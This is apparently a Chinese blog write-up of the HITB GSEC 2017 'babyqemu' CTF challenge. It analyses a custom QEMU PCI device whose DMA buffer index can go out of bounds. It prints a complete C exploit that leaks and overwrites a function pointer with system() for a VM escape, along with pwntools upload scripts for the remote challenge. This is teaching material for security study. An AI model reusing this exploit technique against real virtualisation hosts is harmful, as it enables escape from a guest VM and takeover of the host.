HITB GSEC2017 pwn BABYQEMU

#! /bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic  -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda

启动的bash脚本直接看出设备是hitb。

我们在文件系统的/etc/shadow中找到用户名是root 密码是空。
在这里插入图片描述
直接搜索
在这里插入图片描述比我们一般熟知的函数多了几个。

我们一般熟悉的有啥呢?
首先是总的结构体 pci_hitb_register_types
然后是type_init一直往下调用的函数 do_qemu_init_pci_hitb_register_types ,里面继续调用module_init用来初始化typeinfo、typelmpl结构体。
然后调用 hitb_class_init 初始化基类
然后调用 pci_hitb_realize 初始化类对象
hitb_instance_init 是总的结构体中的一个函数
然后就是mmio + pmio一共九个函数。

这个题没有pmio两个,但是多了六个不知道干嘛的。
在这里插入图片描述
我们一会一个一个分析。

首先 视图 子视图 本地类型 编辑
在这里插入图片描述
把我们的核心结构体拿出来。
里面刚开始那几个结构体都是系统自定义的,不需要管他。

要注意的是dma_state
在这里插入图片描述
还有QEMUTimer_0
其实也就是QEMUTimer
在这里插入图片描述
所以长这样

在这里插入图片描述

还要注意的是
在这里插入图片描述在这个函数里我们可以看见只注册了mmio,所以我们刚刚分析的没错,没有pmio。

在这里插入图片描述在这个设备里我们直接可以拿到设备号

在这里插入图片描述

所以我们可以直接
在这里插入图片描述这样来访问他的mmio存储空间。

我们知道他的起始空间是0xfea00000,大小是0x100000

因为 pci_hitb_realize 初始化类对象,所以我们做一个具体分析。
在这里插入图片描述timer_init_tl设置了&pdev->dma_timer的回调函数是hitb_dma_timer,回调函数的参数是pdev
倒数第二行memory_region_init_io函数就是初始化内存映射IO,指定了MMIO的操作&hitb_mmio_ops

这个的read和write分别指向hitb_mmio_read,hitb_mmio_write
在这里插入图片描述

最后pci_register_bar将&pdev->mmio注册到qemu PCI设备的BAR
Base Address Registers,BAR记录了设备所需要的地址空间的类型,基址以及其他属性。
其中第二个参数0,代表注册的是MMIO,假如是1就代表注册PMIO

hitb_instance_init函数

首先里面有个奇怪的结构体

首先我们理性分析一波,这个结构体到底是啥结构体,我们知道这个函数也是结构体的一个成员,就是HitbState结构体的一个成员,然后我们在这里也看见了这个结构体的身影。
在这里插入图片描述
其实就是那个结构体

在这里插入图片描述我们可以看到v1是HitbState结构体, + 0x1BC0是那个dma_mask,那-1就是enc。
所以这个函数做的就是把结构体的enc指针指向那个函数。

我们还要注意的是,这一切的一切,都只是发生在我们熟知的csu_init中。

那么我们来具体分析剩下的三个关键逻辑函数

首先是hitm_mmio_read
在这里插入图片描述
结构体里那点东西基本上是想读啥读啥了。

然后是hitm_mmio_write
在这里插入图片描述
看上去非常的麻烦,里面还有一些乱七八糟的函数。
其实我们注意到里面只要没有带hitb的都是系统函数,我们其实操控不了他,也没必要去管他。

当addr为0x80的时候,将value赋值给dma.src。
当addr为144的时候,将value赋值给dma.cnt。
当addr为152的时候,将value赋值给dma.cmd,并触发timer_mod。
当addr为136的时候,将value赋值给dma.dst。

那么关键就是这个timer_mod是干嘛的???

我们首先要注意到
在这里插入图片描述
time_mod里面是对ts的expire_time的修改。

在这里插入图片描述
ts是个结构体,在realize中被注册。
设置了hitb_dma_timer函数是他的回调函数。
那么就意味着我们time_mod对expire_time的修改会触发hitb_dma_timer。

在这里插入图片描述
至于这里写的time_list其实是告诉我们这是一个QEMUTimer结构体,是一个定时器结构体,他在QEMUTimerList中。
那我们现在来好好看一下hitb_dma_timer

在这里插入图片描述
不大好看
在这里插入图片描述
同步一下结构体就好了。
我们简单分析一下,就是根据dma.cmd的值来实现两个功能。
具体功能都跟那个cpu_physical_emmory_rw函数有关。

没有hitb,是个系统函数。
找到源码

void __fastcall cpu_physical_memory_rw(hwaddr addr, uint8_t *buf, int len, int is_write)
{
  int v4; // er8
  MemTxAttrs_0 v5; // 0:dl.1

  v4 = len;
  v5 = (MemTxAttrs_0)1;
  address_space_rw(&address_space_memory, addr, v5, buf, v4, is_write != 0);
}

MemTxResult __fastcall address_space_rw(AddressSpace_0 *as, hwaddr addr, MemTxAttrs_0 attrs, uint8_t *buf, int len, _Bool is_write)
{
  MemTxResult result; // eax

  if ( is_write )
    result = address_space_write(as, addr, attrs, buf, len);
  else
    result = address_space_read_full(as, addr, attrs, buf, len);
  return result;
}

其实我们从函数名字就能看得出来,是对物理地址的读写。

当dma.cmd为2|1时,将数据从dma_buf[dma.src减0x40000]拷贝利用函数cpu_physical_memory_rw拷贝至物理地址dma.dst中,拷贝长度为dma.cnt。
当dma.cmd为4|2|1时,将起始地址为dma_buf[dma.src减0x40000],长度为dma.cnt的数据利用利用opaque->enc函数加密后,再调用函数cpu_physical_memory_rw拷贝至物理地址opaque->dma.dst中。
当dma.cmd为0|1时,调用cpu_physical_memory_rw将物理地址中为dma.dst,长度为dma.cnt,拷贝到目标地址为dma_buf[dma.src减0x40000]的空间中。

那么问题就出在,dma_buf可以越界。

首先我们要想办法获得虚拟地址对应的物理地址。

这个是raycp师傅的

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

那么我们整个的利用思路就是利用enc函数先泄露程序基地址。
具体方法是首先mmap一块内存,

然后任意写,enc改成system的plt表的地址
dma_buf中改成我们要的字符串。

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

#define DMABASE 0x40000
char *userbuf;
uint64_t phy_userbuf;
unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

uint64_t page_offset(uint64_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

void dma_set_src(uint32_t src_addr)
{
    mmio_write(0x80,src_addr);
}

void dma_set_dst(uint32_t dst_addr)
{
    mmio_write(0x88,dst_addr);
}

void dma_set_cnt(uint32_t cnt)
{
    mmio_write(0x90,cnt);
}

void dma_do_cmd(uint32_t cmd)
{
    mmio_write(0x98,cmd);
}

void dma_do_write(uint32_t addr, void *buf, size_t len)
{
    assert(len<0x1000);

    memcpy(userbuf,buf,len);

    dma_set_src(phy_userbuf);
    dma_set_dst(addr);
    dma_set_cnt(len);
    dma_do_cmd(0|1);

    sleep(1);

}

void dma_do_read(uint32_t addr, size_t len)
{

    dma_set_dst(phy_userbuf);
    dma_set_src(addr);
    dma_set_cnt(len);

    dma_do_cmd(2|1);

    sleep(1);
}

void dma_do_enc(uint32_t addr,size_t len)
{
    dma_set_src(addr);
    dma_set_cnt(len);
    dma_do_cmd(1|4|2);
}


int main(int argc, char *argv[])
{
    
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    printf("mmio_mem @ %p\n", mmio_mem);
    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    mlock(userbuf, 0x1000);
    phy_userbuf=gva_to_gpa(userbuf);
    printf("user buff virtual address: %p\n",userbuf);
    printf("user buff physical address: %p\n",(void*)phy_userbuf);

    dma_do_read(0x1000+DMABASE,8);    
    uint64_t leak_enc=*(uint64_t*)userbuf;
    printf("leaking enc function: %p\n",(void*)leak_enc);
    uint64_t pro_base=leak_enc-0x283DD0;
    uint64_t system_plt=pro_base+0x1FDB18;
    
    dma_do_write(0x1000+DMABASE,&system_plt,8);

    char *command="cat /root/flag\x00";
    dma_do_write(0x200+DMABASE,command,strlen(command));

    dma_do_enc(0x200+DMABASE,8);
}

在这里插入图片描述

最后说一下打远程服务器怎么操作。
在这里插入图片描述在exp文件目录下建立一个poc文件夹,然后exp,exp.c都复制进去

然后跑一下这个脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

# context.log_level = 'debug'
cmd = '$ '


def exploit(r):
    r.sendlineafter(cmd, 'stty -echo')
    os.system('musl-gcc  -static -O2 ./poc/exp.c -o ./poc/exp')
    os.system('gzip -c ./poc/exp > ./poc/exp.gz')
    r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
    r.sendline((read('./poc/exp.gz')).encode('base64'))
    r.sendline('EOF')
    r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
    r.sendlineafter(cmd, 'gunzip ./exp.gz')
    r.sendlineafter(cmd, 'chmod +x ./exp')
    r.sendlineafter(cmd, './exp')
    r.interactive()


p = process('', shell=True)
# p = remote('', )

exploit(p)

然后发现因为用的是这个cat,速度相当慢,慢的夸张
然后问了大佬

from pwn import *
import base64
import os


#context.log_level = 'debug'
r = remote('node4.buuoj.cn', 29886)
r.sendlineafter("HITB login: ", "root")

def exec_cmd(str):
    r.sendlineafter("# ", str)

def upload():
    p = log.progress("Upload")

    with open("./poc/exp", "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    for i in range(0, len(encoded), 300):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

    exec_cmd("cat benc | base64 -d > bout")
    exec_cmd("chmod +x bout")

    p.success()               

upload()
exec_cmd("./bout")
r.interactive()

这个真🐂

refer

https://tianstcht.github.io/Q%E4%B9%8B%E9%80%83%E9%80%B8-%E5%8F%81%E4%B9%8B%E5%9E%8B-HITB-CTF-2017-babyqemu/

https://ray-cp.github.io/archivers/qemu-pwn-hitb-gesc-2017-babyqemu-writeup

https://www.giantbranch.cn/2020/01/02/CTF%20QEMU%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%80%83%E9%80%B8%E4%B9%8BHITB-GSEC-2017-babyqemu/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值